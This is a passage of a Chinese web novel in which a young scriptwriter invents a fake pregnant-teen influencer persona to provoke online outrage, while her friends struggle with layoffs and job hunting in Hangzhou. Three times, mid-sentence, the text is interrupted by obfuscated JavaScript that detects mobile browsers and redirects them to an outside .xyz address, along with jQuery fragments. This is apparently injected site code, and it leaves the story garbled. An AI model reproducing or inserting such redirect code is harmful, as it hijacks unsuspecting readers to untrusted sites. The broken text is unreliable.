看完依旧毫无头绪,只好向旁边的小叶取经:“小叶,这种视频你平时会看吗?”她递上手机。 小叶看了不到一分钟,就嫌弃地“噫”了一声,转开视线。 “刷到都嫌晦气。” “那为什么公司要打造这样一个人设呢?” “就是想找骂呗,骂得越狠,博主的流量就越好,赚得也越多啊。”小叶已经见怪不怪了,一边敲键盘一边说,“很早之前,在娱乐圈流行一句话:‘黑红也是红。’现在不行了,明星一旦有了黑点,马上就会被举报被封杀,从此销声匿迹,沦为路人。但是——” 她停下手上的动作,转过头,盯着常乐。 “这句话,在网红圈还是适用的。” 常乐呆呆地望着她。 所以,为了流量,就可以不择手段吗? “但是,这种账号不会被人举报吗?”常乐不解地问。 小叶觉得好笑:“举报的理由呢?十八岁已经成年了,怀孕又不违法,而且现在国家鼓励生育,说不定平台也在暗中支持这类博主呢。” 常乐彻底哑口无言。 得了,写吧。 常乐自我折磨了一个小时,终于磨出了文案的初稿: “大学军训第一天,我晕倒了,被同学送到医务室。醒来后,医生冷冰冰地说,我怀孕了。说实话,在听到这句话的那一刻,我的内心是惶恐不安的,但我跟男朋友打电话后,决定留下这个孩子。等我毕业,孩子正好三岁,可以送幼儿园了,也不耽误我找工作,姐妹们,如果是你,你会选择生下这个孩子吗?” 常乐写完后,把文档发给小叶,问:“你觉得怎么样?” 小叶一目十行地看完,笑了,“可以,不过内容有点单薄,最好多透露一点她和男朋友的基本信息,给网友多准备一些骂点。” 常乐冥思苦想后,又添上一段: “男朋友是我的初中同学,他中专没读完就出去打工了。我高考完去找他,在他的宿舍住了一个多月,没想到这就怀上了。他说让我放心,他白天在厂里上班,晚上兼职跑外卖,一个月也能赚个一万块,足够养活我和孩子了。” 常乐写完,长长地吐出一口浊气,捏了捏眉心,按照这个大纲,开始写脚本。 今天任务不多,常乐十一点就下班了。她回到宿舍,叫了份外卖后,迫不及待地给易诚打视频。 她太需要找到一个人来吐槽了。 父母肯定都睡了,常悦还在做直播,此时此刻,她能找的只有易诚。 视频很快接通,易诚清爽的脸庞出现在屏幕里,额发湿漉漉的,挡住了部分眉眼。 “还没睡啊?”常乐明知故问。 “刚洗完澡。”易诚用毛巾擦了擦头发,黑色湿发凌乱地立起,像一只海胆。 他问:“你呢?” “刚下班呢。” “又拖到这么晚?” 常乐脸上浮起苦笑,“这还算早的呢。不过,睡得晚起得也晚,至少能保证每天八小时的睡眠。” 易诚眉间蹙起一抹担忧,“这样下去是不行的,对身体伤害很大。你看你,黑眼圈都重了不少。” 常乐揉了揉眼睛,打了个哈欠。 “没事儿,习惯了就好。我同事都这样,也没见谁猝死。” 易诚的眉头皱得更紧了,“真要到那一步就晚了。” 常乐不在意地笑笑,岔开话题:“对了,跟你说件事,我现在能独立负责一个项目了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028448|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是……”她单手托着腮,有些苦恼,“怎么说呢,感觉这个活儿,有点脏,我干得挺难受的。” 她把余组长交给她的任务一五一十地告诉易诚。 易诚静静地听完,沉默良久,说:“我感觉你不是很喜欢这份工作。” “也不能这么说……” 常乐不想承认这一点,但又无法掩饰,她的确对这份工作的意义产生了质疑。 “我只是不喜欢这种做法。”她脸上露出几分厌恶,“以前,我给姥爷拍视频,为了博人眼球,也耍过很多小花招,但我做的这些事,都是有底线的,更不会故意找骂。但是现在,公司让博主们故意卖蠢、卖惨、卖丑,为了红,什么都能卖。” 顿了顿,常乐沮丧地说:“我真的不喜欢这样。” 易诚看着她,认真地说:“我还是那句话,过得不开心就回来,别委屈了自己。” 常乐长叹一口气,心情莫名地烦躁。 碰到点事儿就让她辞职,说得倒轻巧,现在找一份工作多难啊。 她干巴巴地说:“我不想当逃兵。” 易诚不禁失笑:“这又不是打仗,哪儿来的逃兵?你把工作看得太重,也把自己看得太轻了。” 常乐有些恼火:“我怎么看轻自己了?” “你不在乎自己的身体健康,也在拼命压抑自己的真实感受。”易诚注视着她,目光关切而诚恳,“这份工作如果不能让你开心,也不能带给你成就感,那它就不适合你。不如早点——” 话未说完,门被敲响了。 常乐放下手机,起身去开门,从外卖小哥手里接过袋子。 易诚看到搁在桌上的外卖袋,眉头又蹙了起来。 “还没吃饭吗?” “那会儿还不饿,想等到下班了再吃。”常乐解释完,打开外卖袋,从里面端出一碗热气腾腾的馄饨。 她冲易诚摆摆手,语气轻松:“我先吃饭了,改天再聊。” 易诚无可奈何地说:“行吧,吃完了早点休息。” 视频挂断,常乐的嘴角又耷拉下来。 屏幕熄了,她眼里的光仿佛也跟着熄灭了,只剩下浓得化不开的疲惫和麻木。 -- 之后的日子,常乐每天按部就班地上班,完成一项项任务,偶尔跟小叶下楼去吃个快餐,大部分时候只能叫外卖。 她负责的“十八岁小孕妇”项目很快上线,主角是个稚气未脱、打扮土气的小姑娘,声音温温柔柔的,带着几分羞怯,让人心生怜爱。 虽然在拍摄前一个小时,常乐还看到她穿着小吊带、破洞裤,嘴唇涂得猩红,倚在栏杆上抽烟。 如常乐所料,视频的评论区全是负面的声音,有嘲讽,有指责,有惋惜,有咒骂,偶尔也能看到几条善意的劝告,但很快就被淹没在一波接一波的谩骂声中。 如果账号后面是个活人,她肯定早就承受不住,关闭评论或者注销账号了。但对公司而言,网友们骂得越狠,说明关注度越高,这个账号就越成功。 很快,后续视频接二连三地上线,趁着热度正高,公司也适时地推出副账号:十八岁准爸爸。 主角是小孕妇的男朋友,他将在第五集正式露面,并辞掉工厂的工作,在小孕妇的学校外面租个房子照顾她。去帮小孕妇搬行李时,他还跟她的几个室友大吵了一架。 小叶看完最新的脚本,又气又好笑:“别说,我都有点想骂这俩人了,简直是一对癫公癫婆。你是怎么想出这种气人的剧情来的?” 常乐一脸淡然,“抖音刷多了,什么牛鬼神蛇没见过?” -- 不知不觉到了六月,常乐在一次通宵加班后,一觉睡到了中午,直到饿得胃里泛起酸水,才不得不起床。 摁亮手机,屏幕上有三个未接来电,全部来自于易诚。 常乐呆愣几秒,心中猛地一沉。 不会是家里出事了吧? 她急忙回拨过去,几声嘟响后,易诚的声音在耳畔响起,依然平静如常:“吃饭了吗?” “你……”常乐还没从各种恐怖的猜想中走出来,心脏扑通扑通跳得飞快,“你打电话来,就是为了问这个?” “是啊。”易诚声音带着笑意,“如果没吃,能不能陪我吃个中饭?” “……啊?”常乐彻底糊涂了,“你又给我点外卖了?” 电话那头,易诚微微叹了口气,“算是吧。马上就送到了。” 话音刚落,门就被敲响了。 “这么快?” 常乐飞快地换上内衣和T恤,下身还穿着花睡裤,急匆匆地爬下床,打开了门。 易诚就站在门口,手机还举在耳边,脚边立着一个黑色行李箱。 他眼底泛起笑意,挂断手机,对常乐说:“走,吃饭去。” 71. 71 常乐目光呆滞地望着易诚,怀疑自己还没睡醒。 “你不是……”她晃了晃脑袋,用力闭上眼,又猛地睁开,眼前的人还在。 “不是,你怎么来的?” 易诚笑着说:“来一趟又不难,四个小时的高铁而已。” “可是……”常乐仍是一头雾水,“你来干什么?” 难道只是为了带她去吃饭?太奢侈了吧! 易诚半真半假地说:“你老是说大城市机会多,我也想来碰碰运气嘛。” 常乐视线缓缓下垂,落在他脚边的行李箱上,终于get到他的意思—— “你也要来杭城打工?!” “我想试试。”易诚解释道,“正好我那边春季班结束了,暑期班还没开始招生,有一个月的空当。我想着,不如来这里找找工作,找得到更好,没找到就当来旅游了呗。” 他指着常乐的眼睛,故作嫌弃道:“你是不是刚起床呢?眼屎都没擦,噫……” 常乐赶紧揉了揉眼睛,尴尬地笑笑,“你等会儿啊,我去洗漱一下,很快的!” 宿舍里还有几个人在睡觉,常乐不方便把易诚请进来,只能先关上门,然后飞奔进洗手间。 刷牙洗脸速度飞快,涂抹护肤品也一气呵成,只是…… 她对着镜子,连换了三套衣服,都不满意。 穿T恤配裤子吧,显得太随意。 穿连衣裙吧,还得搭配小高跟,显得太正式,容易让人多想。 挑来挑去,最后换上短袖加牛仔裙,再抹个隔离、打个腮红、画个眉毛、抹个小口红,一切准备就绪后,她背上斜挎包,脚踩小白鞋,心情忐忑地打开了房门。 易诚正倚靠着墙壁,坐在行李箱上玩手机。 听到动静,他抬起头,看着常乐,眼中闪过一抹笑意。 “跟我去吃饭,还需要打扮啊?” “没打扮,我平时就这样。”常乐嘴硬道,反手关上门,边走边问:“咱们去哪儿吃?” “你定吧,我都可以。” 两人走在过道里,拉杆箱的轱辘发出一连串声响。 常乐脚步有些虚软,像踩在棉花上,一不小心左脚绊右脚,身子一歪,差点撞到墙上。 幸好易诚及时出手,一把抓住她的胳膊。 “还没睡醒吧?”他憋住笑,将她身子拉直。 常乐抽回胳膊,撇开脸,挠了挠发烫的耳根,弱弱地道:“我这是……饿的。” 两人走了几条街,终于找到一家川菜馆,点了几个菜。 常乐一边用开水烫餐具,一边问易诚:“你一下车就来找我了?找到住的地方了吗?” 易诚说:“网上订了家青旅,离这儿不远。等吃完饭,就去办理入住。” “住青旅过渡一下也不错,等找到工作,再在公司附近租房子嘛。”常乐又问,“你打算找什么工作?” “我大学读的是计算机专业,想先往这个方向找找看。这边的互联网产业很发达,工作机会应该很多。” 常乐思索片刻,忽然眼睛一亮。 “哎,周俊臻就是程序员啊,你可以找他帮帮忙。” 易诚苦笑:“他那家大厂,多少人挤破头都想进去,我的学历和工作经验都不足,肯定没戏。” “我的意思是,你可以向他取取经嘛。杭城的互联网公司这么多,你总不能瞎投吧?让他给你指点一下,看你适合投哪些公司、哪些岗位。” “行。”易诚点点头,“那我改天请他吃个饭。” “别改天了,就今天吧。”常乐掏出手机,开始打字,“正好我今天休息,可以跟你去蹭个饭。” 易诚劝她:“今天周一,万一他要加班呢?还是等到周末吧。” “不问问怎么知道?”常乐放下手机,“已经发过去了,看他怎么说。” 老板娘端上一盆热气腾腾的酸菜鱼,上面撒着葱花和香菜,香味直往常乐鼻子底下钻。 常乐给自己盛了一大碗米饭,又往饭上淋了一勺金灿灿的汤汁,一边往嘴里扒拉一边说:“饿死我了!我昨晚都没吃饭。” 易诚皱眉道:“你这种饮食习惯可不行。” “活儿太多了嘛。”常乐辩解道,“而且,我要是昨晚不赶工,今天就得去公司加班了。” 易诚沉默了一会儿,问她:“这份工作有那么重要吗?” “也许对这个世界一点儿都不重要,但是对我来说,很重要。”顿了顿,常乐露出兴奋的神色,“对了,我昨天还发工资了,五千五!比当初HR跟我说的还要多呢。” 易诚微微叹了口气,没有再说话。 -- 吃完饭,易诚跟着导航,找到了他预定的那家青旅。常乐跟着上去,在屋里转了一圈,觉得这地方跟她想象中的完全不一样。 她以前听说过的青旅,都是独立小楼,住客们来自天南海北,在客厅或餐吧里欢聚一堂,气氛松弛而自由。 可是这家青旅,就是一套三室两厅的普通住宅,客厅里堆满了杂物,房间里摆满了上下铺,少则六张床,多则十张床。易诚住的那间,里面已经住了五个人,每个人的床边都挂着衣物和毛巾,还有的床头还摞着书。 常乐觉得奇怪,青旅不是给游客住的吗?而且是那种独自出行的、穷游的年轻人。 “他们看上去住了挺长时间的。”她看到床底下还整齐地摆放着一排鞋子。 易诚解释道:“这里可以短租,一晚五十,也可以长租,一个月八百。很多人刚到大城市,还没找到工作,就会暂时住在这里。” 常乐注意到有几件颜色鲜艳的外卖T恤挂在窗外,好奇地问:“外卖小哥也住这里吗?” “节约成本嘛。”易诚笑了下,“而且,这里没有押金,比较灵活,不想住了随时可以走。” 常乐想起自己住的那间宿舍,其实跟这里的条件差不多,但是一想到易诚要跟其它五个人挤在这间不足二十平米的小房间里,她又于心不忍。 毕竟他在老家呆得好好的,衣食住行都不愁,收入也稳定,平白跑这里来受什么罪呢? 易诚倒是不介意。他已经打开箱子,开始往上铺堆放衣物。 常乐正要开口劝他,忽然,手机“叮”了一声,拿起一看,周俊臻回复了: 【你们都在杭城吗?可以啊,晚上我请你们吃饭。】 常乐:【还是我们请你吧。你想吃什么?有什么推荐的餐馆吗?】 周俊臻:【我来请吧,不用跟我客气。】 过了会儿,他发来了几家餐馆的链接,常乐纠结再三,选了一家人均价格最低的火锅店。 易诚已经收拾好床铺,从床上爬了下来。 “周俊臻说请我们吃饭,晚上六点半。” 易诚拍拍身上的灰,有些意外:“他下班这么早?看来大厂也没有传闻中的那么恐怖嘛。” -- 下午,易诚带上电脑,找了家咖啡馆,跟常乐并排而坐,两只脑袋凑到一起,郑重其事地打开了BOSS直聘。 “哇,这家不错,月薪20k呢。”常乐用手指戳戳屏幕,羡慕地说,“程序员工资就是高啊。” 易诚快速浏览完岗位描述,说:“公司要求至少有三年的垂直工作经验,我不符合。” 常乐惋惜地叹了口气,继续寻觅下一条。 “哎,这个对工作经验没要求,工资也可以,有15k呢。” “这个要求硕士起步。” “啊?”常乐大失所望,忍不住吐槽,“一个小破公司,又不是大学,凭什么只招硕士?” “僧多粥少呗,现在硕士也难找工作啊。” “那这个呢?没什么杂七杂八的要求,工资一万,也还行。” 易诚凑近屏幕,仔细浏览一遍,“行,我先投一个试试看。” 就这样,两人研究了一下午,陆续投出了二十多份简历。易诚还担心投这么多,面试安排不过来,常乐让他尽管放心,这二十多家里,能有一半给出答复就不错了。 快到跟周俊臻约定的时间了,易诚正要退出网页,忽然瞥到一条招聘信息:“短视频编导,10k-15k,佳艺文化传媒。” 他指给常乐看:“这个岗位不错,双休,朝九晚六,上班时间挺合理的。你可以试试。” 常乐扫了一眼,没什么兴趣:“算了吧,工作内容跟我现在做的是一样的。” “所以我觉得很适合你啊。” “既然都一样,那我在这里干得好好的,干嘛要跳槽?”常乐不由分说,合上他的电脑,“别想了,朝九晚六是不可能的,天下乌鸦一般黑。” -- 两人提着电脑,急匆匆赶到火锅店,周俊臻已经坐在靠窗的桌边等候了。他举起手,冲两人挥了挥,“这边!” 常乐和易诚在他对面并排坐下,常乐笑着寒暄道:“俊臻哥,久等了!你今天下班这么早啊?” 周俊臻给他俩倒茶,淡淡地说:“最近不忙。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034537|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抬起眼,目光在两人身上来回打转,意味深长地笑了。 “你俩终于走到一起了?” “没有没有。”常乐面露尬色,急忙否认,“我们就是来杭城打工的。” “找到工作了吗?” “我实习一个月了,他还在找。对了,”常乐适时切入正题,“易诚也想找个程序员的工作,下午投了几家,俊臻哥,你能帮他参考一下吗?” 易诚默契地打开电脑,给周俊臻看自己在BOSS直聘上投过的公司。 周俊臻认真看完,说:“第一家和第八家还不错,是正规公司,福利待遇都挺好的。但是最后几家没必要投,公司本身就在裁员,HR叫人去面试,只是为了完成业绩。” 易诚点点头,道了声谢,收起电脑。 热气腾腾的鸳鸯锅上桌了,十几样涮菜也一一摆放整齐。 趁着易诚起身去调料台的空当,常乐向前倾身,压低声音问周俊臻:“俊臻哥,你们公司招外包吗?如果有,能不能帮易诚引荐一下?他脸皮薄,不好意思开这个口。” 周俊臻脸上泛起一抹苦笑。 “不是我不肯帮,一来,我们公司的外包早就饱和了。二来,”他叹了口气,眼神变得黯然,“我没有这个资格。” 常乐见他神色落寞,反倒来安慰他:“没事儿,我只是随口一问,想碰碰运气嘛。” 没过多久,易诚就端着小料回来了,两人都默契地不说话,在沸腾的红油锅里涮起了羊肉。 “其实……”周俊臻忽然开口,欲言又止。 常乐和易诚齐刷刷地望向他。 “什么?” 周俊臻没有抬头,在火锅的袅袅白雾中,眼神渐渐失焦。 他沉默许久,才轻声说:“我们是同龄人,我也不想骗你们。其实,我去年年底就被裁了,我不敢告诉家里人,怕他们担心。这半年,我也在到处投简历、面试,但一直没找到合适的。” 常乐惊讶地望着他,一枚虾滑刚塞进嘴里,都忘了嚼。 “啊?你……你不是……”她都语无伦次了。 “不是什么?”周俊臻自嘲一笑,“不是大厂的?是不是没想到,大厂也会裁员?” 常乐艰难地咽下虾滑,放下筷子,小心斟酌着措辞:“我的意思是,你那么优秀,又在大厂干了这么多年,就算要裁员,也轮不到你吧。” 周俊臻苦笑着摇摇头,“裁员是为了降本增效,根本不在乎你优不优秀。我们部门前一天晚上还在通宵加班,第二天就被通知全体裁员。” 一直沉默的易诚忍不住开口:“俊臻哥,你有大厂的工作经验,重新找工作也这么难吗?” 周俊臻坦言道:“非常难,到目前为止,只有一家初创公司给我发了offer,年薪是我之前的三分之一。” 常乐想起翠姨曾经吹嘘过,说周俊臻年薪有五十多万。三分之一,至少有十七万,对大部分人来说,已经很不错了。 常乐安慰他:“那也挺好的啊。而且初创公司发展前景很大,说不定还有股权分红什么的。要是能上市,你就财富自由了!” “你想得太美好了。”周俊臻从锅里夹起一枚牛肉丸,“年薪十七万,每个月到手也才一万二。我每个月的房贷就有一万,根本熬不到公司上市的那一天。” 常乐怔怔地看着他,这才意识到问题的严重性。 她无房贷无车贷,还有少量存款,即使再次失业,也没有什么经济压力。 但周俊臻不同。工作没了,工资骤降,但他每个月要还的贷款不会少一分钱。 “要不……”易诚小心翼翼地提议,“你把房子卖了,缓解一下压力?” 周俊臻:“其实我早就把房子挂网上了。上次你们来我家,正好,中介也带了客户来看房。” 常乐记起来了,那天出电梯时,她还认出了那人是中介,但她没多想。 “房子卖出去了吗?”易诚问。 “割肉卖了,亏了一百二十万。”周俊臻用筷子戳着碗里的牛肉丸,神色更加落寞。 也许是头顶的灯光太幽暗,也许是茫茫雾气模糊了视线,常乐隐约看到,他好像在哭。 “我现在在外面租房住。一想到这些事,就整夜整夜地睡不着觉。”周俊臻低着头,肩膀微微颤抖着,声音近乎哽咽,“我想不通,为什么我这么努力,还是丢了工作?我拼命攒钱买房,结果,钱也没了,房子也没了。为什么我奋斗了七年,到头来,还是什么都没有?” 72. 72 在一阵长吁短叹声中,三个人沉默地结束了这顿火锅。 夜幕降临,华灯初上,他们沿着滨江路散步消食,拂面而来的晚风还带着些许白天的燥热,混杂着一缕火锅的余香。 他们趴在栏杆上,眺望钱塘江对岸的夜景。 气氛依旧压抑,常乐和易诚都没吭声。安慰的话已经说了很多,但都不痛不痒。常乐很难想象,如果亏损一百二十万的事发生在自己身上,她该如何面对接下来的人生。 静默许久,周俊臻终于开口:“你们还记得林郁青吗?” “郁青姐?”常乐打起精神,转头看着他,“认识啊。她怎么了?” 周俊臻不紧不慢地说:“我们是高中同学,又住同一个小区,所以关系还行。她也挺优秀的,毕业后留在了厦城,在一家科技公司做软件开发。我失业后找工作不顺,于是联系了几个大学同学和前同事,希望能有内推的机会。”他遗憾地耸耸肩,“可惜,一个都没有。” 常乐好奇地问:“那她呢?她能给你内推吗?” 周俊臻说:“她说,她两年前就失业了,之后一直没找到合适的工作,所以现在自己接单做教培,兼职开网约车。” 常乐蓦地瞪大眼,跟易诚面面相觑。 “她?开网约车?”常乐感到难以置信。 印象中,林郁青成绩优异,性情温和,长得又漂亮,从小就是“别人家的孩子”。她先是考上了好大学,毕业后又找到了好工作,听说前几年还靠自己买车买房了,一路上简直顺风顺水。 常乐怎么也无法将这样一个记忆中闪闪发光的姐姐,跟网约车司机的形象联系到一起。 周俊臻“嗯”了一声,继续说:“她还把新买的房子租出去了,就是为了还房贷车贷。” 易诚不解地问:“这又是何苦呢?她自己也要租房吧?” 周俊臻摇摇头,语气有些苦涩:“她不租房。她晚上就睡在车里。” 常乐的眼泪一下子涌了出来。 她也说不清是为什么。 在听周俊臻诉说自己的苦楚时,她虽然替他难过,但总像是隔岸观火,毕竟这样的故事每天都在发生。 但听说林郁青也在经历这一切,而且过得那么辛苦,她心里像被什么刺中了,心疼得难受。 “难怪,她去年过年都没回家。”常乐这才后知后觉。 “她一直瞒着家里人。”周俊臻望着常乐,目光诚恳,“所以,拜托你们不要跟她妈说,最好也别跟自己家里人说,毕竟都是一个小区的……” “行。”常乐和易诚异口同声,“我们保证不说。” 常乐忽然想到什么:“那翠姨和孙婆婆……” “她们也不知道我的事。”周俊臻脸上浮起苦笑,“先瞒着吧,能瞒多久算多久,万一以后出现转机了呢?” 常乐点点头,认真地注视着他,说:“加油啊。” 将周俊臻送上车后,常乐和易诚不约而同地叹了口气。 夜风微凉,遛弯的人渐渐少了。两人在便利店各自挑了一只雪糕,坐在江边的长椅上,心情沉重地吃了起来。 “你说,为什么越努力的人越倒霉呢?”常乐实在想不通,“他们到底做错了什么?” 易诚咬了一口可爱多,慢悠悠地说:“成年人的世界里,很多事是没有对错的,只有权衡利弊后的选择。” 常乐转头看着他,一脸疑惑道:“话是没错,可是,用在他们身上不合适吧?失业又不是他们主动选择的。” 易诚说:“他们选择走在一条被世俗认可的轨道上,以为安稳又长久,却没想过,有一天,轨道也会断裂。他们车上装的东西越多,侧翻带来的危险就越大。” “车上装的东西?”常乐试图理解他的意思,“是指他们的负担?房子、车子、孩子之类的?” “对。” 常乐回想起她刚毕业那会儿,家里人提出给她在江城买套小房子,他们出首付,她自己还房贷。 说不心动是假的,哪个女孩不想拥有一套梦中情房呢? 可是,看到银行卡上的余额,她心里这团火又渐渐熄灭了。 她根本没有抵抗风险的能力,万一哪天,她丢了工作,或者碰上点意外,无力偿还贷款。到时候,那套梦中情房就会成为压在她身上沉重的负担。 这些年,她在一次次辛苦搬家时,也曾后悔过没答应家人的提议,又在听到一个个断供的案例时,庆幸自己足够清醒,没有陷入欲望的漩涡。 常乐若有所思道:“也对,谁能想到好好的轨道会断呢?不能怪他们,只能怪大环境不好。谁都无力对抗时代的浪潮。” 她只是运气好,躲过了一劫。 而那些没有躲过去的人,只能勇敢爬起来,继续负重前行,或者,忍痛扔掉负担,两手空空,重新上路。 -- 周俊臻的经历让易诚不免担忧,连他这样的人才都很难找到合适的工作,自己的希望更是渺茫。 果不其然,接下来的一周,易诚又投了数十家公司,只收到个位数的回复,参加了三家公司的面试。 有的公司喜欢搞群面,就是把所有面试人员都叫到一间会议室里,让他们挨个做自我介绍。 易诚觉得,这一招就是用来打击他这种没有自知之明的人的。 这些人里,有海外留学的硕士,有经验丰富的码农,有独立开发了几个小程序的大学生,甚至还有清北的毕业生…… 而他,只有一个普通的本科学历,以及短暂的半年工作经验。 “你怎么gap了那么久?”HR捏着他的简历,提出质疑。 易诚急忙解释:“不是gap,我开了一家轮滑培训班。” 会议室里,不知是谁发出了一声嗤笑。 “没用,你的简历已经花了。”HR将手上的纸扔到一旁,皱着眉头,责备一个年轻员工:“你怎么筛选的简历?这不是浪费彼此的时间吗?” 易诚保持着得体的笑容,微微点头,起身离开了房间。 转机出现在周末。那天,易诚又结束了一场失败的面试,准备去附近的商场负一楼吃个简餐。在商场外面的小广场上,一群小孩围成一圈,不时爆发出一阵阵惊呼声。 易诚走过去一看,是一个穿着轮滑鞋的年轻男孩,正在表演各种平地花式动作。 易诚忍不住笑了。这些动作看似高难度,实则入门级,唬唬这些小孩子是足够了。 这时,另一个年轻男孩递过来一张传单,热情地说:“帅哥,轮滑培训要了解一下吗?” -- 常乐又是一觉睡到了周一中午。 自从易诚来到了杭城,他们的联系比过去频繁多了,也时不时约出来吃个饭,探讨一下找工作的进展,吐槽一下面试时遇到的奇葩事。 周末这两天,常乐忙得昏天黑地,实在抽不出时间,易诚也很自觉地不来骚扰她。 常乐眯着眼靠在墙上,等神志慢慢清醒,才想到易诚。也不知道他现在进展如何。 一个电话拨过去,等了半天才接通,电话那头有些嘈杂,易诚的声音也微微喘息:“醒了?吃饭了吗?” “没呢。”常乐打着哈欠说,“你在哪儿呢?” “在大悦城呢。”停顿片刻,易诚说,“我找到工作了。” 常乐猛地坐直,语气兴奋:“真的吗?哪家公司啊?” “……就在大悦城里面。”易诚说得很含糊,“你要过来吗?” “我可以来参观?”常乐立刻爬下床,“行啊,正好没吃饭。嘿嘿,你都找到工作了,是不是得表示一下呀?” 易诚佯装无奈地叹了口气,声音却带着笑意:“那还用问,当然是我请客了。” 等到了大悦城门外,看到在一群小孩中间滑来滑去、顺便发传单的易诚时,常乐顿时愣住了。 “你、你这……” 她冲上去,从易诚手里抢过一沓传单,看着上面的宣传语“追风轮滑,暑期招生,限时秒杀价1980元起”,顿时气不打一处来。 她急声问:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038954|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么又干回老本行了?” 易诚语气轻松:“我觉得轮滑也挺好的,而且,这是我的强项。” “你不是想找程序员的工作吗?”常乐不解道,“而且,你要是想继续干轮滑培训,回家就好了啊,何必来这里从头做起呢?” 易诚平静地说:“这家轮滑俱乐部规模挺大的,管理也很规范,我在这里取取经也不错。” 常乐瞪着手中的传单,有些恼火:“发传单能取到什么经?” “所有新员工都要从发传单做起。”易诚解释道,“我以前为了拉生意,也会去学校门口发传单,都习惯了。” “可是……”常乐仍忿忿不平。 一个是自己创业,自负盈亏,一个是替老板打工,这工作的成就感能一样吗? “别可是了。”易诚弯起唇角,从她手里拿走传单,“等我发完这沓,就可以休息了。你先自己逛一会儿,或者选一家餐厅,先进去等我。” 常乐闷闷不乐地看了他一眼,深吸一口气,最终什么也没说,转身走进了商场。 -- 晚上,常乐跟林文娟视频时,提到易诚的事,越说越生气:“找工作哪有那么快?一个星期找不到很正常,继续找就是了。他倒好,转头就去干了老本行,那他何必要千里迢迢来杭城呢?在家当个小老板不是挺好吗?” 林文娟看着她气鼓鼓的样子,忍不住扑哧一笑。 “你管得还真宽。”她收起笑,好言相劝,“这毕竟是他的工作,他喜欢就行了呗。你忘了,你找工作的时候,我都没管那么多。” 常乐瘪着嘴,闷闷地说:“我就是替他感到不值。” 林文娟挑挑眉,仿佛看透了她的小心思:“噫哟,你是不是心疼他了?”? “有点……不是!”常乐猛然反应过来,慌忙解释道:“因为我、我是个有大爱的人,我平等地心疼每一个在外打拼的年轻人!” 林文娟哈哈大笑起来,笑声把刚从洗手间出来的常建民都吸引过来了。 “聊什么呢,笑得这么开心?”常建民凑到屏幕前,“乐儿啊,脸怎么又圆了?是不是吃太多垃圾食品了?” 常乐一口气差点喘不过来。 她咬牙切齿道:“爸,这叫过劳肥!” “行吧,你们在外面不容易,吃也吃不好,睡也睡不好。”常建民叹了口气,忽然想到什么,“对了,你姥姥今天买了一筐嫩菱角,你不是最喜欢吃这个吗?要不要给你寄点?” 常乐无精打采地说:“算了,你们留着吃吧,寄过来也不新鲜了。” “不会,都是生的,可以放好几天。你自己煮着吃。” “我宿舍又不能做饭。” 常建民一脸惋惜,过了会儿,又想到什么:“那我给你寄点莲蓬吧?你这儿吃不到吧?” “想啥呢?江南水乡,西湖上成片的荷花,还怕吃不到莲蓬?”常乐摆摆手,“想吃我自己会买的,别折腾了。” “……哦。”常建民默了会儿,悻悻地说:“我去洗澡了。” 等常建民又钻进了洗手间,林文娟才回到屏幕中,一本正经地对常乐说:“说到易诚,虽然我跟你爸都有各自心仪的人选,但对易诚也是很看好的。毕竟这孩子是我们看着长大的,人品、性格、能力都不错。你要是跟他在一起了,我们肯定没意见。” “……”常乐一脸懵,“不是,怎么扯到这上面来了?易诚是来打工的,不是来求偶的。” 林文娟意味深长地说:“傻孩子,人家当然是奔着你来的啊。不然,他干嘛不去北上广深打工,偏偏要来杭城?” “杭城这边互联网公司多嘛。” “可是他也没有找这方面的工作啊。” “所以我才生气嘛。”提起这事,常乐心中又窜起一股无名火,“培训班哪里不能干,干嘛要来杭城?在家里待着不好吗?” “对啊,他干嘛不回家?为什么找不到心仪的工作,还要继续留在杭城?”林文娟盯着她,反问道,“你难道不是心知肚明吗?” 73. 73 “知道啥啊?他爱干嘛干嘛,跟我有什么关系?”常乐装傻充愣,岔开话题,“不说了,我也要去洗澡了。” 不等林文娟反应,常乐迅速挂断视频,抱着衣服钻进了洗手间。 她一边洗澡,一边琢磨林文娟的话。 她不是没想过易诚可能对自己有意思,毕竟跑那么远来找工作,住的地方脏乱差,找的工作也不如意,他到底图什么呢? 但易诚不说,常乐也不会主动问。 毕竟,当朋友比当恋人要安全又省心得多。 更何况,常乐已经被这份工作磋磨得没有了世俗的欲望。她每天都处于一种疲惫又麻木的状态中,唯一的念头就是赶紧忙完了下班睡觉。别说谈恋爱了,许多时候,她连话都不想说。 至于爱情,只是闲暇生活的调味品,对于都市牛马来说,却比专柜里的奢侈品还要遥不可及。 -- 